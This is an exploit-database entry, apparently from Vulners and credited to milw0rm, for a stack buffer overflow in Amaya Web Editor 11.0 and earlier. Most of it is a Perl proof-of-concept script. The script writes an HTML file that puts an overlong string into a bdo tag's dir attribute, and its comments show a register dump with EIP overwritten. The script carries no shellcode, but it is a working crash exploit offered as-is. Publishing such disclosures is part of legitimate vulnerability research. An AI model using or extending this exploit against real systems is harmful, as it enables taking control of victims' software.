Amaya Web Editor <= 11.0 - Remote Buffer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Amaya Web Editor Remote Buffer Overflow PoC by Mountassif Moa


                                                #!/usr/bin/perl -w
# Amaya Web Editor &#60;= 11.0 Remote Buffer Overflow P0c
 
# By Mountassif Moad (Stack)
# Here D : http://www.w3.org/Amaya/Distribution/amaya-WinXP-11.0.exe
# EAX 00000001
# ECX 0F866A64
# EDX 0083AA64 amaya.0083AA64
# EBX 00000000
# ESP 0012D080
# EBP 00000006
# ESI 0B425D00
# EDI 0085AD9C ASCII &#34;src&#34;
# EIP 44444444

print &#34;===================================================================== \n&#34;;
print &#34;Author : Stack            \n&#34;;
print &#34;===================================================================== \n&#34;;
my $code =&#34;&#60;html&#62;&#34;.&#34;\n&#34;.
         &#39;&#60;bdo dir=&#34;&#39;.&#34;\n&#34;;
my $bof = &#34;\x41&#34; x 160;
my $bof2 = &#34;\x43&#34; x 8;
my $bof3 = &#34;\x44&#34; x 4;
my $coding =&#39;&#34;&#62;&#39;.&#34;\n&#34;.
             &#34;Heap&#60;/bdo&#62;&#34;.&#34;\n&#34;.
            &#34;&#60;/html&#62;&#34;;
my $file=&#34;St_.html&#34;;
$exploit = $code.$bof.$bof2.$bof3.$coding;
open(my $FILE, &#34;&#62;&#62;$file&#34;) or die &#34;Cannot open $file: $!&#34;;
print $FILE $exploit ;
close($FILE);
print &#34;$file has been created \n&#34;;

# milw0rm.com [2009-01-29]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1